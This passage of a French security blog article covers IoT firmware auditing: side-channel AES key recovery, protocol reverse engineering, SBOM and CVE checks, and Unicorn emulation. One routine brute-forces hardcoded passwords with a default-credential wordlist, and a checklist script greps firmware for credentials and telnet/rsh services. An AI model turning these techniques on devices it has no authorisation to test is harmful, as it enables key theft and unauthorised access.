power_at_t = np.array([trace[t] for trace in self.traces[:len(hypothetical_hw)]])
if np.std(power_at_t) > 0 and np.std(hw_array) > 0:
correlation = abs(np.corrcoef(hw_array, power_at_t)[0, 1])
max_corr = max(max_corr, correlation)
if max_corr > best_correlation:
best_correlation = max_corr
best_key = key_guess
key_candidates.append(best_key)
print(f"[DPA] Byte {byte_pos:02d}: 0x{best_key:02X} (corrélation: {best_correlation:.4f})")
recovered_key = bytes(key_candidates)
print(f"[DPA] Clé récupérée: {recovered_key.hex()}")
return recovered_key
def _aes_sbox(self, value: int) -> int:
"""AES S-Box lookup table"""
sbox = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
# ... (table complète en production)
]
return sbox[value % len(sbox)] if sbox else value
Analyse des protocoles de communication propriétaires IoT
Les fabricants IoT utilisent fréquemment des protocoles de communication propriétaires ou des implémentations personnalisées de protocoles standards. L'analyse de ces protocoles — souvent non documentés — nécessite une combinaison de techniques de reverse engineering passif (capture réseau) et actif (fuzzing ciblé).
#!/usr/bin/env python3
"""
IoT Protocol Reverse Engineer - Analyse de protocoles propriétaires
Techniques : dissection de trames, identification de champs, détection de patterns
"""
import struct
import re
import json
import hashlib
from collections import Counter, defaultdict
from typing import List, Dict, Tuple, Optional, Any
from dataclasses import dataclass, field
import statistics
@dataclass
class ProtocolField:
name: str
offset: int
size: int # bytes, -1 pour variable
field_type: str # uint8, uint16_be, uint32_be, string, bytes, unknown
possible_values: List[Any] = field(default_factory=list)
entropy: float = 0.0
is_length_field: bool = False
is_checksum_field: bool = False
is_sequence_number: bool = False
@dataclass
class ProtocolStructure:
name: str
fields: List[ProtocolField] = field(default_factory=list)
header_size: int = 0
has_variable_payload: bool = False
checksum_algorithm: str = "unknown"
confidence: float = 0.0
class ProtocolAnalyzer:
def __init__(self, pcap_data: List[bytes]):
self.packets = pcap_data
self.structure: Optional[ProtocolStructure] = None
def calculate_entropy(self, data: bytes) -> float:
"""Entropie de Shannon pour détecter les données chiffrées/compressées"""
if not data:
return 0.0
freq = Counter(data)
total = len(data)
entropy = -sum((count/total) * __import__('math').log2(count/total)
for count in freq.values())
return entropy
def find_magic_bytes(self) -> List[Tuple[bytes, int, float]]:
"""
Identifie les octets magiques de début de trame.
Un bon magic byte apparaît au même offset dans >80% des paquets.
"""
if len(self.packets) < 10:
return []
min_len = min(len(p) for p in self.packets)
candidates = []
for offset in range(min(min_len, 16)):
values_at_offset = Counter(p[offset] for p in self.packets)
most_common, count = values_at_offset.most_common(1)[0]
frequency = count / len(self.packets)
if frequency > 0.8:
candidates.append((bytes([most_common]), offset, frequency))
# Chercher des séquences de 2-4 bytes constants
for offset in range(min(min_len - 3, 12)):
seq_counter = Counter()
for p in self.packets:
if len(p) > offset + 3:
seq_counter[p[offset:offset+4]] += 1
if seq_counter:
most_common_seq, count = seq_counter.most_common(1)[0]
frequency = count / len(self.packets)
if frequency > 0.9:
candidates.append((most_common_seq, offset, frequency))
return sorted(candidates, key=lambda x: x[2], reverse=True)
def detect_length_field(self, magic_offset: int, magic_size: int) -> Optional[int]:
"""Détecte le champ de longueur en cherchant la corrélation avec len(packet)"""
header_end = magic_offset + magic_size
for offset in range(header_end, min(header_end + 8,
min(len(p) for p in self.packets))):
for field_size in [1, 2, 4]:
if all(len(p) >= offset + field_size for p in self.packets):
correlations = []
for p in self.packets:
if field_size == 1:
field_val = p[offset]
elif field_size == 2:
field_val = struct.unpack(">H", p[offset:offset+2])[0]
else:
field_val = struct.unpack(">I", p[offset:offset+4])[0]
actual_remaining = len(p) - (offset + field_size)
correlations.append(abs(field_val - actual_remaining))
avg_diff = statistics.mean(correlations)
if avg_diff < 2: # Corrélation forte
return offset
return None
def detect_checksum(self, data: bytes) -> Tuple[str, bool]:
"""Tente d'identifier l'algorithme de checksum utilisé"""
import binascii
if len(data) < 4:
return ("unknown", False)
payload = data[:-4]
stored_checksum = data[-4:]
# CRC32
crc32 = struct.pack(">I", binascii.crc32(payload) & 0xFFFFFFFF)
if crc32 == stored_checksum:
return ("CRC32", True)
# Checksum 16-bit simple
simple_sum = sum(payload) & 0xFFFF
if struct.pack(">H", simple_sum) == stored_checksum[:2]:
return ("SUM16", True)
# CRC16 CCITT
crc = 0xFFFF
for byte in payload:
crc ^= byte << 8
for _ in range(8):
if crc & 0x8000:
crc = (crc << 1) ^ 0x1021
else:
crc <<= 1
crc &= 0xFFFF
if struct.pack(">H", crc) == stored_checksum[:2]:
return ("CRC16-CCITT", True)
return ("unknown", False)
def analyze_field_types(self) -> Dict[int, str]:
"""
Heuristiques pour inférer les types de champs selon leurs valeurs:
- Haute entropie = données chiffrées/compressées ou clés
- Faible entropie + petit range = énumération/flags
- Valeurs séquentielles = numéro de séquence
- Corrélation avec timestamp = timestamp
"""
if not self.packets:
return {}
min_len = min(len(p) for p in self.packets)
field_analysis = {}
for offset in range(min_len):
values = [p[offset] for p in self.packets]
value_set = set(values)
entropy = self.calculate_entropy(bytes(values))
if len(value_set) == 1:
field_analysis[offset] = "constant"
elif len(value_set) <= 8 and max(values) <= 16:
field_analysis[offset] = "enum_or_flags"
elif list(values) == sorted(values):
field_analysis[offset] = "sequence_number"
elif entropy > 7.5:
field_analysis[offset] = "encrypted_or_random"
elif entropy < 1.0:
field_analysis[offset] = "mostly_constant"
else:
field_analysis[offset] = "variable_data"
return field_analysis
def generate_dissector(self, structure: ProtocolStructure) -> str:
"""Génère un dissecteur Wireshark en Lua pour le protocole découvert"""
lua_code = f"""-- Dissecteur Wireshark généré automatiquement pour {structure.name}
-- Généré par ProtocolAnalyzer
local {structure.name}_proto = Proto("{structure.name}", "{structure.name} Protocol")
-- Définition des champs
local fields = {{
"""
for field in structure.fields:
lua_type = {
"uint8": "uint8",
"uint16_be": "uint16",
"uint32_be": "uint32",
"string": "string",
"bytes": "bytes",
}.get(field.field_type, "bytes")
lua_code += f' {field.name} = ProtoField.{lua_type}("{structure.name}.{field.name}", "{field.name}"),\n'
lua_code += f"""}}
{structure.name}_proto.fields = fields
-- Fonction de dissection
function {structure.name}_proto.dissector(buffer, pinfo, tree)
pinfo.cols.protocol = "{structure.name}"
local subtree = tree:add({structure.name}_proto, buffer(), "{structure.name}")
local offset = 0
"""
for field in structure.fields:
if field.size > 0:
lua_code += f""" subtree:add(fields.{field.name}, buffer(offset, {field.size}))
offset = offset + {field.size}
"""
lua_code += f"""end
-- Enregistrement sur le port TCP détecté
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(8883, {structure.name}_proto) -- Port à adapter
"""
return lua_code
Sécurisation des chaînes d'approvisionnement firmware
La supply chain des firmwares IoT est devenue une cible de premier ordre pour les attaquants sophistiqués. Des backdoors implantées lors de la fabrication, des bibliothèques open source compromises, ou des build systems infiltrés permettent de compromettre des millions de dispositifs avant même leur déploiement chez les utilisateurs finaux.
#!/usr/bin/env python3
"""
Firmware Supply Chain Analyzer
Vérifie l'intégrité et la sécurité de la chaîne d'approvisionnement firmware
Sources: NVD, OSV, SBOM, signature vérification
"""
import hashlib
import json
import struct
from pathlib import Path
from typing import Dict, List, Optional, Tuple
import re
class FirmwareSBOMAnalyzer:
"""
Analyse le Software Bill of Materials d'un firmware
pour identifier les composants et leurs vulnérabilités
"""
def __init__(self, firmware_path: str):
self.firmware_path = Path(firmware_path)
self.components: List[Dict] = []
self.vulnerabilities: List[Dict] = []
def extract_version_strings(self, firmware_data: bytes) -> List[Dict]:
"""
Extrait les chaînes de version des bibliothèques embarquées
Patterns: "libssl 1.0.2k", "OpenSSH_7.4", "BusyBox v1.29.0", etc.
"""
version_patterns = [
(r"openssl[\s/](\d+\.\d+\.\d+[a-z]?)", "OpenSSL"),
(r"openssh[_\s](\d+\.\d+[p\d]*)", "OpenSSH"),
(r"busybox\s+v(\d+\.\d+\.\d+)", "BusyBox"),
(r"dropbear\s+(?:sshd\s+)?(\d+\.\d+)", "Dropbear SSH"),
(r"dnsmasq\s+v(\d+\.\d+)", "Dnsmasq"),
(r"linux\s+kernel\s+v?(\d+\.\d+\.\d+)", "Linux Kernel"),
(r"lighttpd/(\d+\.\d+\.\d+)", "Lighttpd"),
(r"nginx/(\d+\.\d+\.\d+)", "Nginx"),
(r"uclibc\s+(\d+\.\d+\.\d+)", "uClibc"),
(r"libcurl/(\d+\.\d+\.\d+)", "libcurl"),
(r"zlib[\s/](\d+\.\d+\.\d+)", "zlib"),
(r"expat[\s/](\d+\.\d+\.\d+)", "libexpat"),
]
findings = []
text_content = ""
# Extraire les chaînes printables
for match in re.finditer(b'[\x20-\x7E]{8,}', firmware_data):
try:
text_content += match.group(0).decode('ascii') + " "
except UnicodeDecodeError:
pass
text_lower = text_content.lower()
for pattern, component_name in version_patterns:
matches = re.finditer(pattern, text_lower, re.IGNORECASE)
for m in matches:
version = m.group(1)
findings.append({
"component": component_name,
"version": version,
"cpe": f"cpe:2.3:a:{component_name.lower().replace(' ', '_')}:{component_name.lower().replace(' ', '_')}:{version}:*:*:*:*:*:*:*"
})
# Déduplication par composant
seen = set()
unique_findings = []
for f in findings:
key = f"{f['component']}:{f['version']}"
if key not in seen:
seen.add(key)
unique_findings.append(f)
self.components = unique_findings
return unique_findings
def check_cve_database(self, component: str, version: str) -> List[Dict]:
"""Vérifie les CVE pour un composant et version donnés via l'API NVD"""
# En production: utiliser l'API NVD v2.0
# https://nvd.nist.gov/developers/vulnerabilities
known_vulns = {
# CVEs critiques pour les composants IoT courants
("OpenSSL", "1.0.2"): [
{"cve": "CVE-2016-0800", "cvss": 7.4, "desc": "DROWN attack - SSLv2 export cipher"},
{"cve": "CVE-2016-0705", "cvss": 9.8, "desc": "Double free corruption"},
],
("BusyBox", "1.29"): [
{"cve": "CVE-2022-28391", "cvss": 9.8, "desc": "Remote code execution via rsh"},
],
("Dnsmasq", "2.78"): [
{"cve": "CVE-2017-14491", "cvss": 9.8, "desc": "DNSpooq heap overflow (7 vulns)"},
],
("Dropbear SSH", "2018.76"): [
{"cve": "CVE-2018-15599", "cvss": 7.5, "desc": "User enumeration via error messages"},
],
}
# Matching simplifié (en production: matching de version sémantique)
for (comp, ver_prefix), cves in known_vulns.items():
if comp == component and version.startswith(ver_prefix):
return cves
return []
def generate_sbom_cyclonedx(self) -> Dict:
"""Génère un SBOM au format CycloneDX 1.4"""
sbom = {
"bomFormat": "CycloneDX",
"specVersion": "1.4",
"version": 1,
"metadata": {
"timestamp": "2026-05-01T00:00:00Z",
"tools": [{"name": "FirmwareSBOMAnalyzer", "version": "1.0"}],
"component": {
"type": "firmware",
"name": self.firmware_path.name,
"hashes": [
{
"alg": "SHA-256",
"content": hashlib.sha256(
self.firmware_path.read_bytes() if self.firmware_path.exists()
else b""
).hexdigest()
}
]
}
},
"components": []
}
for comp in self.components:
sbom["components"].append({
"type": "library",
"name": comp["component"],
"version": comp["version"],
"cpe": comp.get("cpe", ""),
"vulnerabilities": self.check_cve_database(comp["component"], comp["version"])
})
return sbom
def calculate_risk_score(self) -> Dict:
"""Calcule le score de risque global de la supply chain"""
all_vulns = []
for comp in self.components:
vulns = self.check_cve_database(comp["component"], comp["version"])
all_vulns.extend(vulns)
critical_count = sum(1 for v in all_vulns if v.get("cvss", 0) >= 9.0)
high_count = sum(1 for v in all_vulns if 7.0 <= v.get("cvss", 0) < 9.0)
medium_count = sum(1 for v in all_vulns if 4.0 <= v.get("cvss", 0) < 7.0)
risk_score = (critical_count * 30 + high_count * 15 + medium_count * 5)
return {
"total_components": len(self.components),
"total_vulnerabilities": len(all_vulns),
"critical": critical_count,
"high": high_count,
"medium": medium_count,
"risk_score": min(risk_score, 100),
"risk_level": "CRITICAL" if critical_count > 0 else
"HIGH" if high_count > 2 else
"MEDIUM" if medium_count > 5 else "LOW"
}
Émulation MIPS et ARM avec Unicorn Engine : cas avancés
L'émulation de code firmware avec Unicorn Engine permet d'analyser des fonctions spécifiques isolément, sans démarrer l'intégralité du système d'exploitation embarqué. Cette approche ciblée est particulièrement efficace pour analyser les fonctions de cryptographie, de décodage de protocoles, ou d'authentification extraites via Ghidra.
#!/usr/bin/env python3
"""
Unicorn Engine - Émulation ciblée de fonctions firmware
Cas d'usage: analyse de fonctions d'authentification MIPS
"""
from unicorn import *
from unicorn.mips_const import *
import struct
import re
from typing import Optional, List, Tuple
class FirmwareFunctionEmulator:
"""Émule des fonctions spécifiques extraites d'un firmware MIPS"""
STACK_BASE = 0x7FFF0000
STACK_SIZE = 0x10000
HEAP_BASE = 0x10000000
HEAP_SIZE = 0x100000
CODE_BASE = 0x00400000
def __init__(self, arch: str = "mips32"):
self.arch = arch
if arch == "mips32":
self.uc = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN)
elif arch == "arm32":
self.uc = Uc(UC_ARCH_ARM, UC_MODE_ARM)
self._setup_memory()
self._setup_hooks()
self.syscall_log: List[Dict] = []
def _setup_memory(self):
"""Initialise les régions mémoire"""
# Code
self.uc.mem_map(self.CODE_BASE, 0x1000000)
# Stack
self.uc.mem_map(self.STACK_BASE, self.STACK_SIZE)
# Heap
self.uc.mem_map(self.HEAP_BASE, self.HEAP_SIZE)
# Initialiser le stack pointer MIPS (a2)
if self.arch == "mips32":
self.uc.reg_write(UC_MIPS_REG_SP, self.STACK_BASE + self.STACK_SIZE - 0x1000)
elif self.arch == "arm32":
self.uc.reg_write(UC_ARM_REG_SP, self.STACK_BASE + self.STACK_SIZE - 0x1000)
def _setup_hooks(self):
"""Hooks pour surveiller l'exécution"""
# Hook sur les accès mémoire invalides
self.uc.hook_add(UC_HOOK_MEM_INVALID, self._hook_mem_invalid)
# Hook sur toutes les instructions (pour trace)
self.uc.hook_add(UC_HOOK_CODE, self._hook_code)
def _hook_mem_invalid(self, uc, access_type, address, size, value, user_data):
access_name = {1: "READ", 2: "WRITE", 4: "FETCH"}.get(access_type, "UNKNOWN")
print(f"[MEM_FAULT] {access_name} @ 0x{address:08X} size={size}")
# Mapper dynamiquement la mémoire manquante
page = address & ~0xFFF
try:
uc.mem_map(page, 0x1000)
uc.mem_write(page, b'\x00' * 0x1000)
return True # Continuer l'exécution
except Exception:
return False # Arrêter
def _hook_code(self, uc, address, size, user_data):
"""Trace d'exécution pour les fonctions sensibles"""
pass # Activer pour debug uniquement (impact perf)
def load_function(self, machine_code: bytes, base_address: int = None) -> int:
"""Charge le code de la fonction à émuler"""
addr = base_address or self.CODE_BASE
self.uc.mem_write(addr, machine_code)
return addr
def emulate_auth_check(self,
function_bytes: bytes,
username: str,
password: str) -> Tuple[bool, int]:
"""
Émule une fonction d'authentification firmware.
Retourne (auth_success, return_value)
"""
func_addr = self.load_function(function_bytes)
# Allouer username et password dans le heap simulé
username_bytes = username.encode() + b'\x00'
password_bytes = password.encode() + b'\x00'
username_addr = self.HEAP_BASE
password_addr = self.HEAP_BASE + 0x100
self.uc.mem_write(username_addr, username_bytes)
self.uc.mem_write(password_addr, password_bytes)
# Configurer les arguments MIPS (a0=username, a1=password)
self.uc.reg_write(UC_MIPS_REG_A0, username_addr)
self.uc.reg_write(UC_MIPS_REG_A1, password_addr)
# Adresse de retour fictive pour détecter la fin
RETURN_ADDR = 0xDEADBEEF
self.uc.reg_write(UC_MIPS_REG_RA, RETURN_ADDR)
try:
self.uc.emu_start(func_addr, RETURN_ADDR, timeout=5_000_000, count=100000)
# Lire la valeur de retour (v0 en MIPS)
return_val = self.uc.reg_read(UC_MIPS_REG_V0)
auth_success = (return_val == 0) or (return_val == 1)
return auth_success, return_val
except UcError as e:
print(f"[EMU_ERROR] {e}")
return False, -1
def brute_force_hardcoded_password(self,
function_bytes: bytes,
username: str = "admin",
wordlist: List[str] = None) -> Optional[str]:
"""
Bruteforce des credentials hardcodés dans le firmware via émulation.
Plus fiable qu'une analyse statique des strings car contourne l'obfuscation.
"""
if wordlist is None:
wordlist = [
"admin", "password", "1234", "12345", "admin123",
"root", "guest", "default", "ubnt", "support",
"user", "pass", "letmein", "password123", "admin@123",
"router", "modem", "wireless", "1234567890",
]
print(f"[BRUTE] Test de {len(wordlist)} mots de passe pour user '{username}'")
for i, password in enumerate(wordlist):
try:
# Reset de l'état de l'émulateur entre chaque tentative
self._reset_state()
success, ret_val = self.emulate_auth_check(
function_bytes, username, password
)
if success:
print(f"[FOUND] Credentials: {username}:{password} (ret={ret_val})")
return password
if i % 50 == 0:
print(f"[BRUTE] Progression: {i}/{len(wordlist)}")
except Exception as e:
print(f"[BRUTE] Erreur sur '{password}': {e}")
continue
print("[BRUTE] Aucun credential trouvé dans la wordlist")
return None
def _reset_state(self):
"""Remet à zéro l'état du processeur entre les exécutions"""
if self.arch == "mips32":
for reg in [UC_MIPS_REG_A0, UC_MIPS_REG_A1, UC_MIPS_REG_V0, UC_MIPS_REG_T0]:
self.uc.reg_write(reg, 0)
self.uc.reg_write(UC_MIPS_REG_SP, self.STACK_BASE + self.STACK_SIZE - 0x1000)
Études de cas : exploitations réelles de firmware IoT
Les vulnérabilités firmware IoT ont causé des incidents de sécurité majeurs ces dernières années. Analyser ces cas réels permet de comprendre les patterns d'exploitation récurrents et d'identifier les indicateurs à rechercher lors d'un audit firmware.
| CVE | Équipement | Type de vulnérabilité | Impact | Méthode de découverte |
|---|---|---|---|---|
| CVE-2023-1389 | TP-Link AX21 | Command injection dans l'interface web locale | RCE root, utilisé par Mirai variant | Black-box fuzzing de l'API REST |
| CVE-2021-20090 | Arcadyan (mutiple OEM) | Path traversal dans le serveur web embarqué | Accès non auth aux fichiers système, credentials exposure | Binwalk + analyse manuelle du serveur HTTP |
| CVE-2022-26376 | Asus WiFi routers | Buffer overflow dans la gestion des requêtes HTTP | RCE, déni de service | Fuzzing Boofuzz + reverse engineering Ghidra |
| CVE-2024-3273 | D-Link NAS (EoL) | Command injection + backdoor (hardcoded credentials) | RCE root, accès complet aux données | Analyse Binwalk + grep credentials hardcodés |
| CVE-2023-20198 | Cisco IOS XE | Élévation de privilèges dans l'interface web | Création compte niveau 15, RCE, exploit massif | Détection de comportement anormal par Cisco PSIRT |
Contre-mesures et recommandations pour fabricants IoT
Les résultats d'un audit firmware se matérialisent par un rapport avec des recommandations concrètes pour le fabricant. Ces recommandations doivent être priorisées selon la sévérité (CVSS), la complexité d'exploitation, et l'impact réel sur les utilisateurs finaux.
#!/bin/bash
# Checklist de sécurité firmware IoT pour fabricants
# Basée sur OWASP IoT Top 10, NIST IR 8259, ETSI EN 303 645
echo "=== FIRMWARE SECURITY BASELINE CHECKLIST ==="
# 1. Credentials par défaut
echo "[1] Vérification des credentials par défaut..."
binwalk -e firmware.bin -C /tmp/fw_extract/ 2>/dev/null
grep -r "admin\|root\|password\|12345" /tmp/fw_extract/ --include="*.conf" --include="*.json"
# PASS si: pas de credentials hardcodés, mot de passe aléatoire par unité
# 2. Services réseau exposés
echo "[2] Services réseau..."
# Simuler via QEMU puis scanner
# nmap -sV -p- localhost (sur firmware émulé)
# 3. Mise à jour sécurisée
echo "[3] Mécanisme de mise à jour..."
# Vérifier la présence d'une signature RSA/ECDSA sur les images firmware
# OUTILS: binwalk pour détecter les headers de signature
binwalk firmware.bin | grep -i "signature\|certificate\|rsa\|ecdsa"
# 4. Surface d'attaque minimale
echo "[4] Surface d'attaque..."
# Lister tous les services actifs dans le firmware
grep -r "telnet\|ftp\|rsh\|rlogin" /tmp/fw_extract/ --include="*.conf"
# FAIL si: Telnet, FTP, rsh activés par défaut
# 5. Chiffrement des données sensibles
echo "[5] Données sensibles en clair..."
# Détecter les clés hardcodées
python3 -c "
import re, sys
data = open('/tmp/fw_extract/etc/config/wireless', 'rb').read()
# Clés WPA en clair
keys = re.findall(b'key\s*=\s*([^\n]+)', data)
if keys:
print(f'[WARN] Clés WiFi trouvées: {len(keys)} entrées')
" 2>/dev/null
# 6. Validation des entrées
echo "[6] Validation des entrées..."
# Rechercher des appels système avec des données non sanitisées
grep -r "system(\|popen(\|exec(" /tmp/fw_extract/ --include="*.c" --include="*.h" 2>/dev/null | head -20
echo ""
echo "=== RAPPORT ==="
echo "Référentiels applicables:"
echo " - ETSI EN 303 645: Cybersecurity for Consumer IoT"
echo " - NIST SP 800-213: IoT Device Cybersecurity Guidance"
echo " - OWASP IoT Attack Surface Areas"
echo " - EU Cyber Resilience Act (CRA) - 2027"
Les techniques d'audit firmware IoT s'intègrent dans une démarche de sécurité globale incluant la sécurité OT/ICS, la supply chain applicative, et les techniques d'évasion EDR que les malwares IoT sophistiqués emploient. Pour les aspects conformité réglementaire, le Cyber Resilience Act 2026 définit le cadre légal applicable aux fabricants d'équipements IoT destinés au marché européen. Les méthodologies de fuzzing présentées s'appliquent également au contexte du fuzzing assisté par IA.
Étapes pratiques d'un audit firmware IoT de bout en bout
Un audit firmware professionnel suit une méthodologie structurée en six phases, chacune produisant des livrables spécifiques exploitables par les équipes sécurité et les développeurs firmware.
| Phase | Activités | Outils | Livrables |
|---|---|---|---|
| 1. Extraction | Dump SPI, UART, JTAG, ou téléchargement web | Flashrom, OpenOCD, binwalk download | Image firmware brute + documentation méthodologie |
| 2. Décomposition | Extraction Binwalk, identification filesystem, architecture | Binwalk, 7zip, jefferson | Arborescence extraite, liste des composants |
| 3. Analyse statique | Credentials hardcodés, CVE composants, crypto audit | Ghidra, grep, strings, checksec | Liste vulnérabilités, SBOM, rapport crypto |
| 4. Émulation | QEMU/Firmadyne, test des services réseau | Firmadyne, QEMU, FAT | Services exposés, credentials testés |
| 5. Fuzzing | Fuzzing interfaces réseau, parsers, APIs | Boofuzz, AFL++, libFuzzer | Crashes, PoC exploits, patches recommandés |
| 6. Rapport | Classification CVSS, recommandations, disclosure responsable | CVSS Calculator, rapport template | Rapport final, advisory CVE, patch guidance |
La divulgation responsable (Responsible Disclosure) est une obligation éthique et de plus en plus légale. La directive NIS2 et les politiques de vulnerability disclosure coordonnée (CVD) de l'ANSSI et de l'ENISA établissent un cadre européen harmonisé. Un chercheur ayant découvert une vulnérabilité critique dans un firmware doit notifier le fabricant avec un délai raisonnable (90 jours selon la politique de Google Project Zero) avant toute divulgation publique, permettant au fabricant de développer et distribuer un correctif. En l'absence de réponse du fabricant, une divulgation publique partielle est justifiée pour protéger les utilisateurs.
Pour les aspects réglementaires, consultez notre guide sur le Cyber Resilience Act 2026 et la directive NIS2. Les techniques de reverse engineering firmware complètent les méthodologies de pentest cloud et de sécurité OT/ICS.
Conclusion : l'audit firmware comme impératif de sécurité IoT
Le reverse engineering de firmware IoT est une discipline à la croisée du développement embarqué, de la cryptographie, de l'analyse binaire, et de la sécurité réseau. Les milliards d'équipements IoT déployés dans les infrastructures critiques, les domiciles et les industries représentent une surface d'attaque considérable souvent négligée. Les techniques présentées dans cet article — de l'extraction hardware via JTAG/SPI à l'émulation QEMU et l'analyse comportementale avec Ghidra — constituent la boîte à outils du chercheur en sécurité firmware moderne.
L'essor du Cyber Resilience Act et des exigences NIS2 va progressivement élever le niveau de sécurité minimum des équipements connectés. Jusqu'à leur pleine application, la responsabilité d'identifier et de signaler les vulnérabilités firmware repose sur la communauté des chercheurs en sécurité qui, par leur travail, contribuent à protéger des millions d'utilisateurs des menaces IoT en constante évolution.
Ressources et références pour la recherche en sécurité firmware
La communauté de recherche en sécurité firmware est active et produit régulièrement des outils, publications, et CVE qui font progresser l'état de l'art. Les conférences incontournables incluent DEF CON (IoT Village), Black Hat, Hardwear.io, et REcon pour le reverse engineering bas niveau. Les publications académiques les plus pertinentes sont publiées dans les actes du USENIX Security Symposium et du IEEE S&P.
Les sources de veille CVE spécialisées IoT incluent la base CISA ICS-CERT pour les systèmes industriels, et le NIST NVD pour les CVE firmware généraux, avec filtrage par CWE-119 (buffer overflow), CWE-78 (command injection), et CWE-798 (hardcoded credentials) — les trois classes de vulnérabilités les plus fréquentes dans le firmware IoT. Des projets open source comme IoT Security Foundation, OWASP IoT, et ENISA IoT Security Guidelines fournissent des référentiels de bonnes pratiques accessibles aux fabricants et aux équipes sécurité.
Les outils de référence pour l'audit firmware sont majoritairement open source et activement maintenus. Binwalk (v2.4+) s'est enrichi de détections de formats propriétaires. Ghidra (NSA Research Directorate) supporte désormais nativement le décompilateur pour MIPS, ARM, RISC-V, et les architectures microcontrôleurs. Firmwalker automatise la recherche de fichiers sensibles dans un firmware extrait. EMBA (Embedded Analyzer) est une suite d'analyse complète intégrant Binwalk, Firmwalker, et des checks de sécurité en une commande unique, idéale pour les audits en série de flottes IoT.
La formation pratique passe par des environnements délibérément vulnérables : Damn Vulnerable ARM Router (DVAR) pour les techniques ARM, IoTGoat (OWASP) pour les vulnérabilités web embarquées, et des firmwares réels de routers grand public achetés sur eBay pour pratiquer dans des conditions réelles. La participation aux bug bounty programs IoT (HackerOne, Bugcrowd) offre un cadre légal pour pratiquer la recherche de vulnérabilités sur des équipements réels tout en contribuant à l'amélioration de la sécurité de l'écosystème IoT global.
L'écosystème des outils de sécurité firmware évolue rapidement, porté par la démocratisation du matériel d'analyse (ChipWhisperer est maintenant accessible à moins de 500€) et par la maturation des frameworks open source. Des plateformes comme FACT (Firmware Analysis and Comparison Tool) permettent d'automatiser l'analyse de milliers de firmwares en parallèle, facilitant les études de sécurité à grande échelle sur des familles d'équipements entières. Cette capacité d'analyse en masse révèle des patterns inquiétants : les mêmes vulnérabilités (credentials hardcodés, versions OpenSSL obsolètes, interfaces Telnet actives) se retrouvent dans des centaines de modèles différents partageant le même SDK OEM ou la même BSP (Board Support Package), illustrant comment un problème de sécurité dans un composant partagé se propage comme une épidémie dans tout un écosystème IoT.
Face à cette réalité, les approches de sécurité IoT les plus efficaces combinent l'analyse statique automatisée (SBOM, CVE matching) pour couvrir la surface connue, et la recherche manuelle experte (Ghidra, fuzzing, fault injection) pour découvrir les vulnérabilités inédites. La collaboration entre chercheurs, fabricants, et organismes de standardisation (ETSI, NIST, ENISA) est indispensable pour élever le niveau de sécurité de base de l'écosystème IoT global, bien au-delà des produits individuels. L'objectif à long terme est un IoT secure by default où la sécurité est une propriété intrinsèque du produit, pas un ajout après-coup.
La recherche en sécurité firmware est l'une des disciplines les plus gratifiantes de la cybersécurité : chaque découverte de vulnérabilité dans un équipement massivement déployé peut protéger des millions d'utilisateurs d'une compromission. Les certifications comme GREM (GIAC Reverse Engineering Malware) et les parcours pratiques sur des plateformes comme Root-Me, PicoCTF, et les IoT CTF de DEFCON permettent de développer méthodiquement ces compétences rares et très demandées sur le marché. Investir dans la maîtrise de ces techniques — extraction hardware, décompilation Ghidra, émulation QEMU, fuzzing ciblé — c'est acquérir un avantage décisif dans la protection des infrastructures IoT qui forment désormais le système nerveux de notre société numérique.
Les professionnels de la sécurité IoT contribuent directement à la résilience de notre infrastructure numérique mondiale.
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Articles connexes
Classification Automatique des Données Sensibles 2026
Automatiser la découverte et la classification des données sensibles avec Microsoft Purview, AWS Macie et les outils ope
Tokenisation vs Chiffrement : Protéger les Données
Tokenisation ou chiffrement pour vos données sensibles ? Comparatif technique, cas d'usage PCI DSS et RGPD, et critères
Top 5 Outils DSPM : Comparatif et Guide de Choix 2026
Comparatif des 5 meilleures solutions DSPM 2026 : Varonis, Symmetry, Normalyze, Dig Security et Sentra. Critères, tarifs
Commentaires (1)
Laisser un commentaire